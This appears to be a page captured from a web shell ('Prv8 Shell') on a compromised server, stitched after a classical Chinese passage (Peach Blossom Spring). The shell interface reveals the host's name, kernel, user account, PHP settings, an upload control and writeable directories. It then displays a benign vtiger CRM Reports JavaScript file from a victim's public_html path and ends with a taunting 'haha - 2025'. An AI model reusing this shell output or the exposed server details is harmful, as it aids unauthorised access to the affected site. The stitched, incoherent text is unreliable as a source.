晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/layouts/v7/modules/Reports/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/public_html/crm/layouts/v7/modules/Reports/resources/Edit1.js
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/
Reports_Edit_Js("Reports_Edit1_Js",{},{
	
	relatedModulesMapping  : false,
	step1Container : false,
	secondaryModulesContainer : false,
	
	init : function() {
		this.initialize();
	},
	/**
	 * Function to get the container which holds all the reports step1 elements
	 * @return jQuery object
	 */
	getContainer : function() {
		return this.step1Container;
	},

	/**
	 * Function to set the reports step1 container
	 * @params : element - which represents the reports step1 container
	 * @return : current instance
	 */
	setContainer : function(element) {
		this.step1Container = element;
		return this;
	},
	/*
	 * Function to get the secondary module container 
	 */
	getSecondaryModuleContainer  : function(){
		if(this.secondaryModulesContainer == false){
			this.secondaryModulesContainer = jQuery('#secondary_module'); 
		}
		return this.secondaryModulesContainer;
	},
	
	/**
	 * Function  to intialize the reports step1
	 */
	initialize : function(container) {
		if(typeof container == 'undefined') {
			container = jQuery('#report_step1');
		}
		if(container.is('#report_step1')) {
			this.setContainer(container);
		}else{
			this.setContainer(jQuery('#report_step1'));
		}
		this.intializeOperationMappingDetails();
	},
	
	/**
	 * Function which will save the related modules mapping
	 */
	intializeOperationMappingDetails : function() {
		this.relatedModulesMapping = jQuery('#relatedModules').data('value');
	},
	
	/**
	 * Function which will return set of condition for the given field type
	 * @return array of conditions
	 */
	getRelatedModulesFromPrimaryModule : function(primaryModule){
		return this.relatedModulesMapping[primaryModule];
	},

	loadRelatedModules : function(primaryModule){
		var relatedModulesMapping = this.getRelatedModulesFromPrimaryModule(primaryModule);
		var options = '';
		for(var key in relatedModulesMapping) {
			//IE Browser consider the prototype properties also, it should consider has own properties only.
			if(relatedModulesMapping.hasOwnProperty(key)) {
				options += '<option value="'+key+'">'+relatedModulesMapping[key]+'</option>';
			}
		}
		var secondaryModulesContainer = this.getSecondaryModuleContainer();
		secondaryModulesContainer.html(options).trigger("change");
		
	},
	
	registerPrimaryModuleChangeEvent : function(){
		var thisInstance = this;
		jQuery('#primary_module').on('change',function(e){
			var primaryModule = jQuery(e.currentTarget).val();
			thisInstance.loadRelatedModules(primaryModule);
		});
	},
	
	/*
	 * Function to check Duplication of report Name
	 * returns boolean true or false
	 */
	checkDuplicateName : function(details) {
		var aDeferred = jQuery.Deferred();
		var moduleName = app.getModuleName();
		var params = {
			'module' : moduleName,
			'action' : "CheckDuplicate",
			'reportname' : details.reportName,
			'record' : details.reportId,
			'isDuplicate' : details.isDuplicate
		}
		app.request.get({data:params}).then(
			function(error,data) {
				if(data.success == true) {
					aDeferred.reject(data);
				} else {
					aDeferred.resolve(data);
				}
			},
			function(error,err){
				aDeferred.reject();
			}
			);
		return aDeferred.promise();
	},
	
	submit : function(){
		var thisInstance = this;
		var aDeferred = jQuery.Deferred();
		var form = this.getContainer();
		var formData = form.serializeFormData();
		
		var params = {};
		var reportName = jQuery.trim(formData.reportname);
		var reportId = formData.record;
        var schtype = formData.schtypeid;
        if(schtype == '5' && formData.enable_schedule == "true") {
            var dateFormat = form.find('#schdate').data('date-format');
            var schDate = formData.schdate;
            var schTime = formData.schtime;
            var timeFormatPattern = /AM|PM/;
            if(timeFormatPattern.test(schTime)) {
                var schHours = parseInt(schTime.match(/^(\d+)/)[1]);
                var schMinutes = parseInt(schTime.match(/:(\d+)/)[1]);
                var AMPM = schTime.match(/\s(.*)$/)[1];
                if(AMPM == "PM" && schHours < 12) {
                    schHours = schHours + 12;
                }
                if(AMPM == "AM" && schHours == 12){
                    schHours = schHours - 12;
                }
                var sHours = schHours.toString();
                var sMinutes = schMinutes.toString();
                if(schHours < 10){
                    sHours = "0" + sHours;
                }
                if(schMinutes < 10){
                    sMinutes = "0" + sMinutes;
                }
                schTime = sHours + ":" + sMinutes;
            }
            var dateFormatParts = dateFormat.split("-");
            var schDateParts = schDate.split("-");
            var schTimeParts = schTime.split(':');
            var schDateTimeInstance = new Date(schDateParts[dateFormatParts.indexOf('yyyy')], parseInt(schDateParts[dateFormatParts.indexOf('mm')]) - 1,
                schDateParts[dateFormatParts.indexOf('dd')], schTimeParts[0], schTimeParts[1]);
            var currentDateTimeInstance = new Date();
            if(schDateTimeInstance < currentDateTimeInstance) {
                params = {
                    message: app.vtranslate('JS_SCHEDULED_DATE_TIME_ERROR'),
                };
                app.helper.showErrorNotification(params);
                return aDeferred.reject();
            }
        }
		app.helper.showProgress();
		
		thisInstance.checkDuplicateName({
			'reportName' : reportName, 
			'reportId' : reportId,
			'isDuplicate' : formData.isDuplicate
		}).then(
			function(data){
				app.request.post({data:formData}).then(
					function(err,data) {
						form.hide();
						app.helper.hideProgress();
						aDeferred.resolve(data);
					},
					function(error,err){

					}
					);
			},
			function(data, err){
				app.helper.hideProgress();
				params = {
					title: app.vtranslate('JS_DUPLICATE_RECORD'),
					text: data['message']
				};
				app.helper.showErrorNotification({"message":app.vtranslate("JS_DUPLICATE_RECORD")});
				aDeferred.reject();
			}
			);
		return aDeferred.promise();
	},
	
	/**
	 * Function which will register the select2 elements for secondary modules selection
	 */
	registerSelect2ElementForSecondaryModulesSelection : function() {
		var secondaryModulesContainer = this.getSecondaryModuleContainer();
		vtUtils.showSelect2ElementView(secondaryModulesContainer,{maximumSelectionSize: 2});
	},
	
	/**
	 * Function to register event for scheduled reports UI
	 */
	registerEventForScheduledReprots : function() {
		var thisInstance = this;
		jQuery('input[name="enable_schedule"]').on('click', function(e) {
			var element = jQuery(e.currentTarget);
			var scheduleBoxContainer = jQuery('#scheduleBox');
			if(element.is(':checked')) {
				element.val(element.is(':checked'));
				scheduleBoxContainer.removeClass('hide');
			} else {
				element.val(element.is(':checked'));
				scheduleBoxContainer.addClass('hide');
			}
		});
		var currentYear = new Date().getFullYear();
		jQuery('#annualDatePicker').datepick({autoSize: true, multiSelect:100,monthsToShow: [1,2],
				minDate: '01/01/'+currentYear, maxDate: '12/31/'+currentYear,
				yearRange: currentYear+':'+currentYear,
				onShow : function() {
					//Hack to remove the year
					thisInstance.removeYearInAnnualReport();
				},
				onSelect : function(dates) {
					var datesInfo = [];
					var values = [];
					var html='';
					// reset the annual dates
					var annualDatesEle = jQuery('#annualDates');
					thisInstance.updateAnnualDates(annualDatesEle);
                    var dateFormat = annualDatesEle.data('date-format');
					for(index in dates) {
						var date = dates[index];
						datesInfo.push({
								id:thisInstance.DateToYMD(date),
								text:thisInstance.DateToYMD(date)
							});
						values.push(thisInstance.DateToYMD(date));
						html += '<option selected value='+thisInstance.DateToYMD(date)+'>'+app.getDateInVtigerFormat(dateFormat,date)+'</option>';
					}
					annualDatesEle.append(html);
					annualDatesEle.trigger("change");
				}
			});
			var annualDatesEle = jQuery('#annualDates');
			thisInstance.updateAnnualDates(annualDatesEle);
	},

	removeYearInAnnualReport : function() {
		setTimeout(function() {
			var year = jQuery('.datepick-month.first').find('.datepick-month-year').get(1);
			jQuery(year).hide();
			var monthHeaders = jQuery('.datepick-month-header');
			jQuery.each(monthHeaders, function( key, ele ) {
				var header = jQuery(ele);
				var str = header.html().replace(/[\d]+/, '');
				header.html(str);
			});
		},100);
	},

	updateAnnualDates : function(annualDatesEle) {
		annualDatesEle.html('');
		var annualDatesJSON = jQuery('#hiddenAnnualDates').val();
        var dateFormat = annualDatesEle.data('date-format');
		if(annualDatesJSON) {
			var hiddenDates = '';
			var annualDates = JSON.parse(annualDatesJSON);
			for(i in annualDates) {
                var dateParts = annualDates[i].split('-');
                var dateInstance = new Date(dateParts[0], parseInt(dateParts[1])-1, dateParts[2]);
				hiddenDates += '<option selected value='+annualDates[i]+'>'+app.getDateInVtigerFormat(dateFormat,dateInstance)+'</option>';
			}
			annualDatesEle.html(hiddenDates);
		}
	},

	DateToYMD : function (date) {
        var year, month, day;
        year = String(date.getFullYear());
        month = String(date.getMonth() + 1);
        if (month.length == 1) {
            month = "0" + month;
        }
        day = String(date.getDate());
        if (day.length == 1) {
            day = "0" + day;
        }
        return year + "-" + month + "-" + day;
    },

	registerEventForChangeInScheduledType : function() {
		var thisInstance = this;
		jQuery('#schtypeid').on('change', function(e){
			var element = jQuery(e.currentTarget);
			var value = element.val();

			thisInstance.showScheduledTime();
			thisInstance.hideScheduledWeekList();
			thisInstance.hideScheduledMonthByDateList();
			thisInstance.hideScheduledAnually();
			thisInstance.hideScheduledSpecificDate();

			if(value == '2') { //weekly
				thisInstance.showScheduledWeekList();
			} else if(value == '3') { //monthly by day
				thisInstance.showScheduledMonthByDateList();
			} else if(value == '4') { //Anually
				thisInstance.showScheduledAnually();
			} else if(value == '5') { //specific date
				thisInstance.showScheduledSpecificDate();
			}
		});
	},
	
	hideScheduledTime : function() {
		jQuery('#scheduledTime').addClass('hide');
	},

	showScheduledTime : function() {
		jQuery('#scheduledTime').removeClass('hide');
	},

	hideScheduledWeekList : function() {
		jQuery('#scheduledWeekDay').addClass('hide');
	},

	showScheduledWeekList : function() {
		jQuery('#scheduledWeekDay').removeClass('hide');
	},

	hideScheduledMonthByDateList : function() {
		jQuery('#scheduleMonthByDates').addClass('hide');
	},

	showScheduledMonthByDateList : function() {
		jQuery('#scheduleMonthByDates').removeClass('hide');
	},

	hideScheduledSpecificDate : function() {
		jQuery('#scheduleByDate').addClass('hide');
	},

	showScheduledSpecificDate : function() {
		jQuery('#scheduleByDate').removeClass('hide');
	},

	hideScheduledAnually : function() {
		jQuery('#scheduleAnually').addClass('hide');
	},

	showScheduledAnually : function() {
		jQuery('#scheduleAnually').removeClass('hide');
	},
		
	registerEvents : function(){
		this.registerPrimaryModuleChangeEvent();
		//schedule reports
		this.registerEventForScheduledReprots();
		this.registerSelect2ElementForSecondaryModulesSelection();
		vtUtils.applyFieldElementsView(this.getContainer());
		this.registerEventForChangeInScheduledType();
	}
});

haha - 2025